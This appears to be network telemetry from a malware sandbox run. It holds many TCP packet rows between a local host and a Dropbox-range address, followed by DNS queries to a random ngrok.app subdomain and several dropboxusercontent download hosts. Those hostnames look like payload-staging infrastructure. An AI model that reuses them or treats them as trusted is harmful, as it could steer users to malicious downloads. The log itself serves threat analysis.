Dec 17, 2024 12:14:17.471456051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.471482038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.471517086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.471529007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.471575975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.471575975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.474735022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.474754095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.474816084 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.474826097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.475007057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.477515936 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.478701115 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.478727102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.478771925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.478777885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.478827000 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.478827000 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.482805014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.482830048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.482909918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.482909918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.482917070 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.483237028 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.495374918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.648796082 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.648819923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.648879051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.648888111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.648955107 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.652642965 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.652658939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.652739048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.652739048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.652754068 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.652894974 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.656040907 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.656056881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.656107903 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.656121016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.656147003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.656220913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.660058975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.660075903 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.660141945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.660154104 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.660209894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.663619995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.663635969 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.663686991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.663697958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.663726091 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.663765907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.667470932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.667485952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.667541981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.667555094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.667583942 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.667596102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.671374083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.671391010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.671463966 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.671471119 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.671530962 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.672193050 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.674674988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.674690962 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.674736023 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.674748898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.674783945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.674794912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.689452887 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.841181040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.841209888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.841274977 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.841293097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.841342926 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.841342926 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.845220089 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.845273018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.845290899 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.845307112 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.845354080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.845354080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.848611116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.848653078 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.848680973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.848696947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.848732948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.848881006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.852618933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.852668047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.852705002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.852716923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.852746010 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.852777004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.855995893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.856024981 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.856121063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.856137037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.856223106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.860100031 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.860124111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.860203028 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.860213995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.860256910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.863066912 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.863089085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.863133907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.863146067 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.863173008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.863198996 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.867249966 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.867270947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.867422104 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.867422104 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.867433071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.867518902 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.868407011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.034162045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.034185886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.034296989 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.034312963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.034326077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.034384012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.037853003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.037877083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.037938118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.037947893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.037991047 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.037991047 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.041331053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.041349888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.041449070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.041460991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.041599035 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.045367956 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.045384884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.045471907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.045471907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.045483112 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.045847893 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.048648119 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.048666954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.049046040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.049063921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.049335957 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.051923990 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.051943064 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.052018881 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.052028894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.052254915 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.055865049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.055882931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.056008101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.056008101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.056024075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.056085110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.056790113 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.060121059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.060137987 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.060261011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.060271978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.060476065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.076411963 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.226360083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.226383924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.226466894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.226497889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.226536989 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.229207039 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.230046988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.230068922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.230125904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.230142117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.230156898 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.230205059 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.233575106 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.233593941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.233760118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.233773947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.233836889 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.237690926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.237721920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.237776041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.237782955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.237818003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.237871885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.240873098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.240890980 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.240969896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.240977049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.241050005 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.244966030 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.244982958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.245105028 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.245114088 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.245243073 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.248137951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.248157978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.248270988 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.248280048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.248420000 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.252023935 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.253016949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.253034115 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.253101110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.253107071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.253274918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.257350922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.418543100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.418569088 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.418627024 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.418642044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.418766022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.422456026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.422475100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.422601938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.422601938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.422610044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.422662020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.425667048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.425687075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.425826073 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.425832033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.425921917 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.429744005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.429759026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.429912090 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.429919958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.430001020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.433192015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.433216095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.433351994 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.433366060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.433484077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.437266111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.437288046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.437432051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.437442064 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.437602043 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.440360069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.440376043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.440516949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.440526009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.440593958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.444848061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.607892036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.607924938 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.608043909 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.608043909 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.608062983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.608107090 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.611277103 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.611304045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.611437082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.611453056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.611581087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.614659071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.614687920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.614757061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.614757061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.614768982 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.614823103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.618273973 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.618307114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.618347883 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.618359089 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.618375063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.618447065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.622051954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.622078896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.622160912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.622160912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.622174978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.622807026 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.625386953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.625411987 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.625478029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.625487089 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.625507116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.625551939 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.627736092 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.629539967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.629568100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.629651070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.629651070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.629661083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.629771948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.632504940 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.632524967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.632618904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.632630110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.632668018 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.641844034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.809952974 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.809998989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.810110092 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.810110092 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.810129881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.810298920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.812777996 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.812808037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.812851906 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.812870979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.812918901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.812918901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.816848040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.816871881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.816962004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.816981077 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.817145109 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.820091009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.820112944 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.820238113 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.820247889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.820352077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:18.823460102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.823482037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:18.823568106 CET	49866	443	192.168.2.6	162.125.65.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 12:13:08.280749083 CET	192.168.2.6	1.1.1.1	0xad38	Standard query (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:12.188426971 CET	192.168.2.6	1.1.1.1	0xfe14	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:15.010133982 CET	192.168.2.6	1.1.1.1	0x79c7	Standard query (0)	uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:23.831842899 CET	192.168.2.6	1.1.1.1	0xb6df	Standard query (0)	uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.748195887 CET	192.168.2.6	1.1.1.1	0xdfaa	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.748348951 CET	192.168.2.6	1.1.1.1	0xeac8	Standard query (0)	www.dropbox.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.057401896 CET	192.168.2.6	1.1.1.1	0x986	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.057964087 CET	192.168.2.6	1.1.1.1	0x88f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.374377966 CET	192.168.2.6	1.1.1.1	0x4601	Standard query (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
